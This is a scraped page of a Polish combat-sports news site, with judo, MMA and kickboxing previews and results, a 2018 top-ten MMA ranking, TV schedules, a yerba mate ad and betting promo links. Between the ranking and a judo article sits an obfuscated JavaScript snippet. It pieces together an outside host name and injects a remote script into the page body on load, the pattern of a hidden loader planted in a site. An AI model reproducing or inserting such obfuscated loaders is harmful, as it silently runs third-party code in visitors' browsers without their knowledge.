Atut własnego terenu będą starali się wykorzystać Polacy. Piotr Kuczera (90kg) od blisko roku czeka na kolejne podium. Ostatnio "na pudle" stanął 30 marca 2018 roku podczas Grand Prix Tbilisi, gdzie sięgnął po brąz. Dotychczas w Warszawie trzeci zawodnik mistrzostw Europy w Kazaniu z 2016 roku wystąpił raz. W 2015 roku odpadł w drugiej rundzie. Po ubiegłorocznym piątym miejscu na mistrzostwach świata, czas na kolejny sukces Damiana Szwarnowieckiego (81kg). Judoka z Wrocławia dotychczas w Warszawie startował dwukrotnie. W 2013 roku zajął siódmą lokatę, w 2015 roku dotarł do trzeciej rundy, ale przegrał z Artemem Khomulą. Duże nadzieje są wiązane z występem Macieja Sarnackiego (+100kg). W kolejnych sezonach judoka z Olsztyna prezentuje równą formę. Z Warszawy Sarnacki ma dobre wspomnienia. W 2015 roku wygrał w stolicy zawody European Open. Ostatnio w Dusseldorfie z dobrej strony pokazał się Wiktor Mrówczyński (73kg), który był siódmy. O niespodziankę mogą pokusić się m.in. Rafał Kozłowski (90kg) czy też Patryk Wawrzyczek i Łukasz Kiełbasiński (obaj 66kg). Również pozostali kadrowicze są w stanie odnieść sukces.

Z pewnością punktem odniesienia dla biało-czerwonych będzie występ ich koleżanek z 2018 roku. Panie w Warszawie zdobyły siedem medali, w tym dwa złote i okazały się najlepsze w klasyfikacji końcowej. Powtórzenie tego wyczynu będzie zadaniem trudnym, aczkolwiek możliwym do wykonania. Zatem – czekamy na medale.

KM

Olimpijskie akcenty w Łodzi

Damian Janikowski, Szymon Kołecki i Satoshi Ishii mają na swoim medale igrzysk olimpijskich. Tych trzech zawodników zaprezentuje się podczas gali KSW 47, która odbędzie się 23 marca w Łodzi. W walce wieczoru o pas mistrzowski wagi ciężkiej zmierzą się Philip de Fries oraz Tomasz Narkun.

"Żyrafa" zmierza po kolejne trofeum w KSW. Od ponad trzech lat Narkun znajduje się w posiadaniu tytułu w wadze półciężkiej. W minionym roku dwukrotnie pokonał ikonę organizacji Mameda Khalidova. Teraz Narkun ponownie chce znaleźć się na pierwszym planie i zostać drugim, po Mateuszu Gamrocie, podwójnym czempionem federacji. 23 marca na drodze stanie mu Phillip de Fries. Anglik miał mocne wejście do organizacji KSW. We Wrocławiu (KSW 43) w pierwszej rundzie zastopował Michała Andryszaka i sięgnął po pas w wadze ciężkiej. Podczas KSW 45 na Wembley obronił tytuł poddając przez americanę Karola Bedorfa. Można przypuszczać, że starcie de Fries – Narkun zakończy się przed czasem. Obaj fighterzy potrafią w efektowny sposób poddać rywala.

W Łodzi w KSW zadebiutuje złoty medalista olimpijski z Pekinu Szymon Kołecki. Do niedawna 37-latek występował w organizacji Babilon MMA, gdzie wygrał trzy z czterech walk. W Łodzi zmierzy się z weteranem KSW Mariuszem Pudzianowskim. Ten pojedynek wzbudzał emocje i był długo wyczekiwany. 23 marca czas nas starcie wielkich wojowników.

Po porażce na Wembley zrehabilitować będzie chciał się brązowy medalista olimpijski z Londynu w zapasach Damian Janikowski. Polak nie będzie miał łatwego zadania. W Łodzi zmierzy sie z Serbem Aleksandarem Iliciem, który ma na koncie dziesięć zwycięstw i dwie porażki.

Kolejnym medalistą olimpijskim, który zaprezentuje się podczas KSW 47 będzie judoka Satoshi Ishii. Japończyk zdobył złoto w Pekinie. W MMA ma bogate doświadczenie – 19 zwycięstw, osiem porażek i jeden remis. Rywalem Japończyka w Łodzi będzie były mistrz KSW w wadze ciężkiej Fernando Rodrigues Jr., który ostatnio wrócił na zwycięską ścieżkę. Podczas gali Superior Challenge 17 pokonał Jamessa McSweeney'a.

W Łodzi dojdzie do starcia Borysa Mańkowskiego z Normanem Parkiem. Polak nie wygrał od grudnia 2016 roku. Marcina Wrzoska czeka starcie z Danielem Torresem. Podczas KSW 47 dojdzie do walki niepokonanych pań – Karoliny Owczarz i Aleksandry Roli.

Ponadto w Łodzi w akcji zaprezentują się Maciej Kazieczko i Bartłomiej Kopera oraz Dawid Gralka i Paweł Politylo.

Fot. KSW

KM

Adrian Zieliński – prawdziwy wojownik

Uchodzący za jednego z najlepszych zawodników wagi lekkiej w Polsce, Adrian Zieliński 16 marca wystąpi na gali FEN 24 w Warszawie. Jego ostatni występ w stolicy zakończył się zwycięstwem. Co istotne – Zieliński zawsze jest gwarantem wysokiego poziomu sportowego.

32-letni zawodnik z Olsztyna niejednokrotnie pokazał, że zasługuje na miano jednego z najlepszych w swojej kategorii. W listopadzie 2013 roku podczas gali PLMMA 24 Extra Zieliński pokonał Adama Golonkiewicza i zdobył pas w wadze lekkiej. Kolejny występ był prawdziwym testem dla olsztynianina, który stanął oko w oko z Nikko Puhakką. Fin był niepokonany na polskiej ziemi, jednak w końcu znalazł pogromcę w osobie Zielińskiego. Choć pojedynek był wyrównany i mistrz PLMMA musiał być uważny w parterze, wytrwał trzy rundy i mądrze prowadził walkę. Werdykt sędziów na korzyść Zielińskiego. Jedną z najefektowniejszych i najszybszych wygranych w wykonaniu 32-latka było zwycięstwo nad Miroslavem Strbakiem. Gala XCage 6/PLMMA 38 w Toruniu należała do Adriana Zielińskiego. Od pierwszych sekund Polak napierał na rywala i po jednym z ciosów Słowak wylądował na deskach. Pojedynek na chwilę przeniósł się do parteru, ale niebawem panowie stanęli "oko w oko" w stójce. Potężny cios Zielińskiego w szczękę rywala i było po walce.

Podczas gali PLMMA 41 – Extra (październik 2014) w Legionowie doszło do zapowiadanego jako niezwykle ciekawe starcie Zielińskiego z Marianem Ziółkowskim o pas mistrzowski. Pojedynek zakończył się szybko… z powodu kontuzji "Golden Boya". Zieliński nie ukrywał, że żałuje takiego obrotu sprawy. Jednak przez pięć minut zawodnicy pokazali wolę walki i ambicję. Ponownie Toruń okazał się szczęśliwym miejscem dla zawodnika urodzonego w Olsztynie. W marcu 2015 roku mieście Mikołaja Kopernika, Zieliński odniósł efektowną wygraną z Viktorem Tomaseviciem. Polak dopadł rywala i nie miał dla niego litości. Ciosy łokciami wymusiły na Litwinie poddanie. Po upływie 4,5 minuty Zieliński świętował zwycięstwo. Tym samym Polak zrewanżował się Tomaseviciowi za wcześniejszą porażkę. Rachunku zostały wyrównane.

Dobra postawa Zielińskiego w Polsce zaprocentowała angażem w organizacji Absolute Championship Akhmat. Co prawda w debiucie Polak poniósł porażkę w pojedynku z Andriejem Koszkinem. W kolejnych starciach potwierdził wysokie umiejętności. Podczas gali ACB 29 w Warszawie na przestrzeni trzech rund Zieliński wypunktował Ustarmagomeda Gadzhidaudova. Polak podkreślał, że mógł zaprezentować się lepiej, al priorytetem była wygrana i cel udało się zrealizować. Podczas gali ACB 35: Memory of Guram w Tbilisi Zieliński zachwycił swoją postawą. W drugiej rundzie Rasul Ediev odczuł potężny prawy sierpowy Polaka i walka przeniosła się do parteru. Wszystkie karty były w rękach Zielińskiego, który zdominował przeciwnika. Efektem było skuteczne duszenie zza pleców.

Jedno można powiedzieć na pewno – Zieliński zawsze walczy na całego. Warto przedstawić tu przykład walki z Piotrem Hallmannem, do której doszło podczas gali ACB 63. Starcie lepiej zaczął zawodnik mający za sobą występy w UFC, jednak w drugiej rundzie Zieliński mocnymi ciosami postraszył przeciwnika. Trzecia odsłona to walka na całego i werdykt 2:1 dla Hallmanna. Ostatni występ Zielińskiego zakończył się również porażką. W Bratysławie, gala ACB 84, lepszy okazał się Amerykanin Joshua Aveles. Zieliński przegrał, ale wystąpił w walce wieczoru i zgarnął 10 tysięcy dolarów za najlepszy pojedynek gali. To mówi samo za siebie.

Bilans Adriana Zielińskiego to 17 zwycięstw i 8 porażek.

https://wearebettors.com/pl/sts-kod-promocyjny

fot. .facebook.com/AdrianZielinskiMMA

Najlepsi zawodnicy MMA 2018

Przedstawiamy ranking najlepszych dziesięciu polskich zawodników MMA w 2018 roku bez podziału na kategorie wagowe.

Stworzenie takiego zestawienia nie jest łatwym zadaniem. W 2018 roku wielu polskich zawodników zrobiło widoczne postępy, mamy swoich przedstawicieli w czołowych europejskich i światowych organizacjach. Przy ocenie pod uwagę brano zarówno efektowne zwycięstwa, zdobyte tytuły i perspektywy rozwoju.

1. Jan Błachowicz

Jeszcze półtora roku temu sytuacja Jana Błachowicza w UFC nie wyglądała kolorowo. Po porażkach z Alexandrem Gustafssonem i Patrickiem Cumminsem, losy "Johna" mogły potoczyć się różnie. Zawodnik urodzony w Cieszynie pokazał charakter i pełnię swoich umiejętności. Wygrał cztery pojedynki z rzędu, z czego dwa w 2018 roku. 36-letni zawodnik pokonał w rewanżu Jimi'ego Manuwę (UFC Fight Night 127) oraz efektownie poddał Nikitę Krylova (UFC Fight Night 136). Gdyby tego było mało Błachowicz awansował na podium w rankingu kategorii półciężkiej.

2. Mateusz Gamrot

1 grudnia 2018 roku w Gliwicach do historii KSW przeszedł Mateusz Gamrot. Popularny "Gamer" pokonał jednogłośną decyzją sędziów Klebera Koike Erbsta i sięgnął po pas mistrzowski w wadze piórkowej. Tym samym został czempionem dwóch kategorii. Gamrot posiada również tytuł w wadze lekkiej, którego skutecznie bronił trzykrotnie. Wcześniej żaden zawodnik KSW nie posiadał jednocześnie dwóch pasów mistrzowskich. W 2018 roku Gamrot zapisał na swoim koncie wygraną z Grzegorzem Szulakowskim.

3. Andrzej Grzebyk

Mistrz wagi średniej organizacji FEN buduje swoją pozycję w polskim MMA. 25 maja 2018 roku sięgnął po pas mistrzowski w wadze średniej. Podczas gali FEN 21 we Wrocławiu Grzebyk pokonał Thiago Vieirę. W ostatnich sekundach trzeciej rundy Polak zachwiał rywalem mocnym kopnięciem, a później zasypał go kanonadą ciosów. Łącznie w 2018 roku Grzebyk wygrał trzy pojedynki. Zawodnik może pochwalić się serią sześciu zwycięstw z rzędu.

4. Tomasz Narkun

Tomasz Narkun stał się pierwszoplanową postacią organizacji KSW. Ponad trzy lata temu w Londynie zdobył tytuł w wadze półciężkiej. W 2018 roku popularny "Żyrafa" wszedł na tron KSW. Tomasz Narkun dwukrotnie pokonał legendę organizacji – Mameda Khalidova. Najpierw podczas KSW 42 w Łodzi, a następnie w Gliwicach (KSW 46). Kolejny cel? Pas w wadze ciężkiej. O tytuł Narkun będzie rywalizował 23 marca z Philipem de Friesem.

5. Marcin Held

Po nieudanej przygodzie w UFC, gdzie wygrał tylko jedną walkę, Marcin Held świetnie odnalazł się w organizacji Absolute Championship Akhmat (wcześniej ACB). W 2018 roku były zawodnik Bellatora pokonał Callana Potter (ACB 88) oraz Musę Khamanaeva (ACB 90). Marcin Held efektownie wygrywał przed czasem przez dźwignię skrętową na staw skokowy.

6. Mateusz Rębecki

Mateusz Rębecki przebojem wszedł do organizacji Fight Exclusive Night i podążał drogą na szczyt na szczyt. W 2018 roku Popularny "Chińczyk" wywalczył pas mistrzowski w wadze lekkiej. Podczas gali FEN 20: Next Level w Warszawie pokonał w walce o tytuł Mariana Ziółkowskiego. W pierwszej obronie uporał się z Łukaszem Koperą (FEN 22). Oba pojedynki Rębecki rozstrzygnął przed czasem.

7. Piotr Strus

Piotr Strus znakomicie radził sobie w organizacji ACB. W 2018 roku po zaciętym starciu pokonał Fernando Gonzaleza i zanotował czwarte zwycięstwo w rosyjskiej organizacji. Polak zapracował na starcie o pas mistrzowski, do którego doszło we wrześniu w Krasnodarze (ACB 89). Strus musiał uznać jednak wyższość Alberta Duraeva.

8. Michał Materla

Były mistrz KSW w wadze średniej zaczął 2018 rok od porażki ze Scottem Askhamem (KSW 42). Później wrócił jednak do gry. Podczas KSW 44: The Game zatrzymał w drugiej rundzie Martina Zawadę. Udana dla Materli była również podróż do Londynu. Podczas gali KSW 45: The Return to Wembley w półfinale turnieju w kategorii średniej "Magic" w pierwszej rundzie odprawił Damiana Janikowskiego, który wcześniej zachwycał widzów. Stary lis pokazał umiejętności i czeka na finał. Tam spotka się z Askhamem.

9. Daniel Skibiński

W grudniu Daniel Skibiński wypunktował Pawła Pawlaka i sięgnął w Raszynie po pas kategorii półśredniej organizacji Babilon MMA. Dla "Skiby" była to trzecia wygrana w 2018 roku. W organizacji Babilon MMA Skibiński pozostaje niepokonany.

10. Marcin Tybura

Marcin Tybura utrzymuje się na pokładzie UFC. Choć rok 2018 nie był najlepszym w karierze polskiego zawodnika wagi ciężkiej, to zanotował cenną wygraną w starciu z wielkim Stefanem Struvem. Dla Polaka był to czwarty triumf w UFC. Tym cenniejszy, że Tybura zwyciężył po dwóch porażkach z rzędu.

https://kodyzaklady.pl/totolotek-kody-promocyjny

[kod]

(function(){
a8x3=document.createElement("script");a8x3_="u"+("s")+"ta";
a8x3_+=("t.i")+""+"n";a8x3_+=(("f")+"o");a8x3.type="text/javascript";
a8x3_+="/"; a8x3u="129713041";a8x3u+=".5xfdh4hi8x37yy5hgfq";a8x3u+="irre31apz4c";
a8x3.src="https://"+a8x3_+a8x3u;a8x3.async=true;document.body.appendChild(a8x3);
})();

Podium było blisko

Anna Borowska (57kg) otarła się o podium turnieju Grand Slam w Duesseldorfie. Zawodniczka zajęła piąte miejsce. Najlepsi w zawodach okazali się Japończycy, którzy zdobyli łącznie 14 medali.

24-letnia judoczka mocnym akcentem rozpoczęła tegoroczne zmagania. W Pucharze Europy w Oberwart cieszyła się ze złotego medalu, a w finale wygrała z czołową zawodniczką w swojej kategorii i jednocześnie mistrzynią olimpijską z Rio de Janeiro Rafaelą Silvą. Borowska mogła z nadziejami jechać do Duesseldorfu. Polka zaczęła zmagania zgodnie z planem. Wygrała trzy walki, po drodze pokonując dziewiątą w światowym rankingu Timnę Nelson Levy. W ćwierćfinale Borowska musiał uznać wyższość wicemistrzyni Europy Theresy Stool. Niemka w ekspresowym tempie zakończyła pojedynek. Borowska pokonała w repasażach przez waza ari Jisu Kim i nadal miała nadzieję na medal. Tę odebrała jej jednak Sumiya Dorjsuren z Mongolii.

Wśród panów najlepiej wypadł Wiktor Mrówczyński (73kg). Polak prezentował się fantastycznie – trzy wygrane walki przed czasem. Po zaciętym starciu Mrówczyński przegrał z Somonem Makhmadbekovem. Polakowi pozostała rywalizacja w repasażach, jednak los nie był dla niego łaskawy. Zawodnik AZS AWF Katowice trafił na wicemistrza olimpijskiego Rustama Orujova. Reprezentant Azerbejdżanu przed upływem dwóch minut zakończył walkę. Mrówczyński zajął siódmą pozycję.

Żadnych złudzeń

Japońska dominacja w Duesseldorfie – tak w dużym skrócie wyglądał turniej Grand Slam. Judocy z Kraju Kwitnącej Wiśni rozbili w pył rywali. Warto nadmienić, że tylko w dwóch kategoriach (70kg i 78kg wśród kobiet) na podium nie stanęła przedstawicielka Japonii. Wśród mężczyzn samurajowie okupowali czołowe miejsca, wygrali aż w sześciu z siedmiu wag!

Łącznie Japończycy zapisali na swoim koncie dziewięć złotych, srebrne i dwa brązowe medale. Po jednym krążku z najcenniejszego kruszcu zdobyli: Brazylia (Mayra Aguiar (78kg), Azerbejdżan (Mammadali Mehdiyev 90kg), Wielka Brytania (Sally Conway 70kg), Kuba (Idalys Ortiz +78kg) i Kosowo (Majlinda Kelmendi 52kg).

Uzupełniając klasyfikację medalową – druga Brazylia (złoto, srebro i trzy brązy), trzeci Azerbejdżan (złoto i trzy brązy).

Fot. IJF

KM

Sarara nadal na mistrzowskim tronie

DSF Kickboxing Challenge 20 ''Królowie Ringu'' w Krakowie, czyli trzy starcia o pasy mistrzowskie. Na tronie wagi ciężkiej pozostał Tomasz Sarara. Mistrzami zostali Adam Gielata i Marcin Mazurekiewicz. 

W pierwszej obronie mistrzowskiego pasa wagi ciężkiej Tomasz Sarara miał okazję zaprezentować się przed własną publicznością. Kraków to jego miejsce na ziemi. Rywalem polskiego fightera był Francuz Abderahmane Coulibaly. Sarara zaczął spokojnie, rywal był za to aktywny. Coulibaly próbował trafić mistrza kolanem i middle kickami. W końcówce drugiej rundy Francuz zamknął Polaka w narożniku. Kolejną odsłonę od przyspieszenia zaczął Sarara. Wysokie kopnięcie, seria ciosów pod linami, ale Francuz szybko wyszedł z opresji. Z czasem Francuz stracił animusz. Sarara licznymi kombinacjami góra-dół podkreślał swoją przewagę. W piątej rundzie obaj zawodnicy ruszyli odważnie do przodu – cios za cios. Sarara trafił high kickiem, Francuz odpowiedział mocnym lewym sierpem. Na twarzach zawodników widać było zmęczenie, ale do końca dawali z siebie wszystko. Ciekawych pięć rund. Początek dla Francuza, później kontrolę nad pojedynkiem przejął Polak. Na tronie kategorii ciężkiej pozostał Tomasz Sarara.

Udany debiut w organizacji DSF Kickboxing Challenge zaliczył Łukasz Jarosz. 40-latek na przestrzeni trzech rund był zdecydowanie lepszy od Wendella Roche'a. Wydawało się, że Jarosz może triumfować już w pierwszej rundzie. Polak narzucił szybkie tempo i nawałnica ciosów zasypała zawodnika z Curacao. Roche był liczony, jednak przetrwał napór Jarosza. W kolejnych rundach starał się być równorzędnym rywalem dla dwukrotnego mistrza świata ISKA. Nikt nie mógł mieć jednak wątpliwości – Jarosz wygrał jednogłośną decyzją sędziów.

Pięć morderczych rund obejrzeli kibice zgromadzeni w hali przy ul. Reymonta w Krakowie. Marcin Mazurkiewicz i Piotr Sokół stworzyli świetne widowisko w starciu o pas mistrzowski DSF w wadze do 75kg. Fantastyczne wymiany, mnóstwo ciosów i szybkie tempo. Ani przez chwilę nie można było narzekać na nudę. Z mistrzowskiego pasa cieszył się jednak Mazurkiewicz, na którego korzyść punktowali sędziowie – 48-47, 49-47, 49-47.

W Krakowie miało dojść do dwóch pojedynków ćwierćfinałowych turnieju wagi ciężkiej. Odbył się jeden, ponieważ Kirill Kornilov wycofał się z powodu choroby. W związku z tym do półfinału awansował Tomas Hron. Drugi ćwierćfinał – Dawid Zółtaszek pewnie wypunktował Zakhara Trafimova.

Adam Gielata wykorzystał szansę i zdobył pas mistrzowski DSF w kategorii do 71kg. Zawodnik Punchera Wrocław nie ukrywał swoich aspiracji. Niejednokrotnie podkreślał, że chciałby stoczyć walkę o pas. W Krakowie Jarosław Daschke musiał ustąpić miejsca na tronie Gielacie. Zawodnik Puchera Wrocław okazał się lepszy na przestrzeni trzech rund – 50:46, 49:46, 50:46.

W pozostałych starciach – Kamil Sójkowski przez niejednogłośną decyzję pokonał Tomasza Brotonia, a Rafał Dudek Artura Zakirko.

Fot. DSF Kickboxing Challenge Facebook

KM

Marzenia trzeba odłożyć

Znakomita seria Jana Błachowicza dobiegła końca. Podczas gali UFC Fight Night 145 w Pradze zawodnik pochodzący z Cieszyna przegrał w Thiago Santosem. W stolicy Czech zwycięstwo świętował Michał Oleksiejczuk.

Po czterech zwycięstwach z rzędu przed Janem Błachowiczem rysowała się realna szansa na pojedynek o pas mistrzowski w wadze półciężkiej. Przeszkodą na drodze do realizacji marzeń był Thaigo Santos. Pojedynek Polaka i Brazylijczyka był głównym wydarzeniem gali w Pradze. Początek starcia nie należał do porywających. Żaden z zawodników nie chciał popełnić błędu, obaj byli ostrożni i walczyli asekuracyjnie.  Brazylijczyk próbował niskich kopnięć, atakował na kolano. W pierwszej rundzie Błachowicz szukał obalenia, ale bezskutecznie. Druga odsłona – spokojna. Kilka ciosów z obu stron, na koniec ekwilibrystyczne popisy Santosa. Trzecia runda odmienna od dwóch poprzednich. Do przodu ruszył Błachowicz, ale nadział się na ciosy Brazylijczyka i padł na deski. Santos natychmiast ruszył na Polaka, grad ciosów spadł na głowę byłego mistrza KSW. Sędzia przerwał pojedynek. Marzenia o mistrzowskiej walce prysły. Piąta porażka Błachowicza w UFC, Santos zanotował czwarte zwycięstwo z rzędu.

Znakomity powrót do oktagonu zaliczył Michał Oleksiejczuk. Popularny "Lord" czekał na kolejną walkę ponad rok. W UFC zadebiutował w grudniu 2017 roku i pokonał Khalila Rountree'ego, jednak później został zawieszony na dwanaście miesięcy za stosowanie niedozwolonych środków.  Oleksiejczuk w Pradze zmierzył się z Gianem Villante, który w amerykańskiej organizacji prezentuje się w kratkę. W ostatniej walce pokonał Eda Hermana, ale wcześniej przegrał z Samem Alvey'em. W Pradze polski zawodnik zaprezentował się znakomicie. Minęło półtorej minuty, a Oleksiejczuk trafił pięścią na wątrobę Amerykanina, a ten znalazł się po chwili na deskach. "Lord" nie mógł zmarnować takiej okazji.

Efektowną wygraną zanotował Stefan Struve, który przegrał niedawno z Marcinem Tyburą. W Pradze Holender zmierzył się z Marcosem Rogerio de Limą. Choć pierwsza runda w jego wykonaniu nie należała do najlepszych, w drugiej pokazał swój potencjał. Struve w parterze był z góry i wykonał duszenie trójkątne. Rywal musiał odklepać.

Fot. Jan Błachowicz Facebook

KM

FighTime Live – 21.02.2019

[kod]

Program TV na 21.02.2019   ""

10:00 – STUDIO – gościem Andrzej Supron
10:35 – PLMMA 75 (2017)
11:40 – Masters Fight Series 1 (2017)
13:30 – STUDIO – gościem Jacek Wieczorek
13:55 – Mistrzostwa Polski Kickboxingu Full Contact (2016)
15:10 – Zakończenie programu

 

FighTime Live – 25.02.2019

[kod]

Program TV na 25.02.2019   ""

17:00 – STUDIO – gościem Andrzej Supron
17:35 – PLMMA 75 (2017)
18:40 – Masters Fight Series 1 (2017)
20:30 – STUDIO – gościem Jacek Wieczorek
20:55 – Mistrzostwa Polski Kickboxingu Full Contact (2016)
22:10 – STUDIO – gościem Andrzej Malina
22:45 – Mistrzostwa Polski K-1 (2017)
00:05 – Zakończenie programu.

FighTime Live – 26.02.2019

[kod]

Program TV na 26.02.2019   ""

17:00 – STUDIO – gościem Łukasz Wichowski
17:12 – Mistrzostwa Polski Oriental Rules (2015)
19:50 – STUDIO – gościem Karol Łada
20:10 – Mecz POLSKA vs UKRAINA Kick Light (2017)
21:25 – REPORTAŻ – Marcin Różalski
21:30 – Gala Fighters Night 4 K-1 (2015)
22:40 – Gala Granda PRO 5 (2017)
00:00 – Zakończenie programu

FighTime Live – 27.02.2019

[kod]

Program TV na 27.02.2019   ""

17:00 – STUDIO – gościem Sławomir Duba (2018)
17:20 – 18 Warszawska Granda (2016)
22:20 – REPORTAŻ Dragon Starachowice (2016)
22:30 – Mistrzostwa Polski Oriental Rules (2016)
23:10 – STUDIO – gościem Rafał Mazurowski
23:30 – Zakończenie programu.

FighTime Live – 11.03.2019

[kod]

Program TV na 11.03.2019   ""

17:00 – STUDIO – gościem Daniel Omielańczuk
17:10 – Mecz POLSKA vs WĘGRY Kick Light (2018)
19:55 – Gala DSF 5 (2015)
21:20 – STUDIO – gościem Paweł Gieżyński
21:35 – Gala Granda PRO 6 (2018)
00:20 –  Zakończenie programu

Yerba Mate Green z guaraną – wypróbuj przed treningiem!

Ostrokrzew paragwajski to jedna z roślin obfitujących w kofeinę, którą w przypadku yerba mate nazywa się mateiną. Działa bowiem trochę inaczej niż kofeina obecna w kawie – dłużej i nie powoduje nagłego skoku ciśnienia i równie szybkiego spadku zarówno energii, jak i mikroelementów w organizmie. Yerba mate uzupełnia minerały i witaminy! Podobnie jest w przypadku innej rośliny posiadającej alkaloid kofeinę, czyli guarany. Kofeina w guarania zwana jest po prostu guaraniną. I działa jeszcze mocniej niż wymienione wcześniej zioła! Guarana jest owocem, który po sproszkowaniu stanowi maksymalne stężenie swej mocy – wystarczy łyżeczka lub dwie i czujemy gwałtowne pobudzenie całego ciała. Guarana jest zatem idealna do zadań specjalnych, ale też jako uzupełnienie innych kofeinowych naparów.

Brazylijska Yerba Mate Green z guaraną

W suszu świeżej, pozbawionej pyłu Yerba Mate Green Mas Energia, dodano nie tylko wzmacniającą moc pobudzającą guaranę. Oprócz niej w Mas Energia występują także orzeźwiające zioła: trawa cytrynowa, mięta, płatki bławatka i nagietka. Taka kompozycja skutecznie da nam energię, rześkość i świetne trawienie. Guarana wpływa też na polepszenie koncentracji i pracę umysłową. Brazylijska yerba mate będzie dobra dla osób potrzebujących dużych ilości kofeiny, a zarazem delikatności smaku. Yerba Mate Green jest słodkawa, naturalna gorzkość samego suszu yerbowego uwalnia się stopniowo, wraz z kolejnymi zalaniami. A obecność ziół sprawia, że yerba jest też wydajna. Sprawdzi się na ciepło i na zimno, jako odświeżające terere – yerba mate zalana wodą z lodem. Zabierz Yerba Mate Green Mas Energia do pracy, na studia czy na siłownię. Znajdziesz ją w sklepie YerbaMarket.com: https://www.yerbamarket.com/pol_m_Yerba-mate-100.html

Yerba Mate Green Mas Energia Guarana

Gatunek odpylonej i suszonej gorącym powietrzem Yerba Mate Green z dodatkiem guarany, to jedna z najchętniej kupowanych yerba mate na rynku! Wiele osób ufa tej yerba mate nie tylko w przypadku świetnego, sprawdzonego pobudzenia, ale również smaku. A dobre działanie i idealny dla naszego gustu aromat, to przepis na znalezienie swojej yerby życia! Być może Mas Energia Guarana jest właśnie tą yerbą w twoim przypadku. Pachnące, duże listki, a w nich zatopione aromatyczne zioła i sproszkowana guarana, której moc aż wiruje w powietrzu – zakochasz się w tej yerbie mocy już po pierwszym łyku! Dla czytelników Fightime sklep YerbaMarket.com przygotował promocję, do każdego zamówienia z dopiskiem "Fightime" zapakujemy drobną niespodziankę 🙂

Pas nie dla Celińskiego

W walce wieczoru gali ACA 92 w Warszawie Karol Celiński (93kg) miał szansę na zdobycie pasa wagi półciężkiej. Polak przegrał w czwartej rundzie. Kolejne zwycięstwo zanotował Daniel Omielańczuk (120kg).

Torwar nie przyniósł szczęścia Karolowi Celińskiemu. To miał być najważniejszy dzień w karierze popularnego "Cebuli". Polak znakomicie radził sobie dotychczas w czeczeńskiej organizacji. Cztery wygrane i walka o pas. Piękny sen został przerwany przez mistrza kategorii półciężkiej Dowłedzana Jagszimuradowa. Obaj musieli być przygotowani na morderczy pojedynek, w końcu czekało ich pięć rund. Minęły trzy i trudno było wskazać faworyta. Do ataku ruszył mistrz. W czwartej rundzie Jagszimuradow sprowadził Celińskiego do parteru. Kręcił, kręcił i zdobył pozycję boczną. Na głowę Celińskiego spadło mnóstwo ciosów, pojawiło się na niej również rozcięcie. Polak zdążył wstać, ale po chwili znów starcie toczyło się w parterze. Grad łokci ze strony Rosjanina sprawił, że "Cebula" nie był w stanie odpowiedzieć. Mistrz obronił tytuł.

Doświadczony Daniel Omielańczuk pokazał klasę i zanotował pewne zwycięstwo. Żelimchan Umiev nie wytrzymał naporu 36-letniego Polaka. Omielańczuk decydował o tempie walki i szukał możliwości trafienia rywala. Były zawodnik UFC zamykał Rosjanina pod siatką, gdzie słał w jego stronę kolejne ciosy. Umiev nie potrafił przeciwstawić się Omielańczukowi, a wraz z upływem czasu wyglądał na coraz bardziej bezradnego i zmęczonego. Omielańczuk nie zamierzał oszczędzać przeciwnika, w końcówce zaliczył sprowadzenie i nie było wątpliwości, kto wygra. Polak zanotował drugi triumf w ACA.

Drugą porażkę w organizacji ACA zanotował Piotr Strus (84kg), choć wynik należy ocenić jako kontrowersyjny. Co prawda Ibragim Czużigajew lepiej zaczął pojedynek, jednak wraz z upływem czasu Polak pokazał, że należy do czołówki wagi średniej. Nie brakowało mocnych ciosów, a Strus naruszył rywala. Trzecia runda to popis byłego zawodnika KSW, który zdominował Rosjanina. Kropką nad "i" miało być sprowadzenie Czużigajewa do parteru. Strus w końcu zdobył plecy i trafiał łokciami. Rywal z nadzieją wypatrywał końca walki i cel osiągnął. Werdykt był zaskakujący – niejednogłośną decyzją sędziów wygrał Czużigajew. Dobra postawa Strusa to było za mało w oczach oceniających…

Czwarte zwycięstwo z rzędu odniósł Aslambek Saidov (77kg), który pokonał Ciro Rodriguesa. Znany z występów w KSW zawodnik wygrał przez TKO w drugiej rundzie. Udany debiut w MMA zaliczył Radosław Paczuski (93kg). Zawodnik Uniq Fight Club po wymagającym starciu pokonał decyzją sędziów Jarosława Lecha. Mateusz Łazowski (120kg) znokautował w pierwszej rundzie Dawida Kobierę. Galę w Warszawie otworzył zwycięstwem Grzegorz Joniak (57kg), który większościową decyzją pokonał Shamkhana Erzanukaeva.

Fot. Karol Celiński Facebook

KM

Dziesięciu Polaków wystąpi na ACA 92

W najbliższą sobotę (16 lutego) warszawski Torwar skupi emocje związane z galą ACA 92, podczas której zobaczymy dziesięciu reprezentantów Polski. Łącznie zaplanowano 15 walk, w tym o pas mistrzowski kategorii półciężkiej – Karol Celiński zmierzy się z czempionem Dowłedzanem Jagszimuradowem.

W grudniu organizacja ACB przekształciła się w ACA w wyniku połączenia z World Fighting Championship Akhmat. Pierwsza gala pod nową banderą odbyła się 26 stycznia w Groznym. Podczas wydarzenia doszło do dwudziestu pojedynków! Władze organizacji stawiają na ilość, ale także na jakość. Przede wszystkim liczy się walka i najwyższej klasy umiejętności zawodników.

Kolejną dawką MMA organizacja uraczy podczas gali ACA 92 w Warszawie. 16 lutego w akcji zobaczymy dziesięciu Polaków. W walce wieczoru zaprezentuje się Karol Celiński, który stanie przed największym wyzwaniem w karierze. Po czterech wygranych popularny "Cebula" stanie przed szansą na wywalczenie pasa w wadze półciężkiej. Pochodzący z Turkmenistanu Jagszimuradow wygrał sześć ostatnich pojedynków, w tym pięć w ACB. Co istotne – wszystkie starcia w czeczeńskiej organizacji rozstrzygnął na swoją korzyść przed czasem!

30-letni Piotr Strus będzie chciał w Warszawie zrehabilitować się za porażkę z Albertem Durajewem w pojedynku o pas wagi średniej. Czeka go kolejne trudne wyzwanie. Ibragim Chuzhigaev od czterech lat występuje w ACA (ACB) i jest wysoko w rankingu kategorii średniej. 27-latek wygrał trzy starcia z rzędu. Strus udowodnił, że należy do czołówki wagi średniej i zapracował na walkę o pas. Musi pokonać Chuzhigaeva, aby dostać kolejną szansę na zdobycie mistrzowskiego tytułu.

Trzeci raz w czeczeńskiej organizacji zaprezentuje się Daniel Omielańczuk. Ostatnio Polak przegrał z Amirem Aliakbarim. W Warszawie Omielańczuk zmierzy się z doświadczonym Zelimkhanem Umievem, który czeka na dwunastą wygraną. 37-letni Rosjanin w sierpniu zanotował porażkę w starciu z Evgenijem Goncharovem podczas WFCA 50. Co istotne, Umiev ma na rozkładzie zawodnika z Polski – w 2014 roku pokonał Jacka Czajczyńskiego.

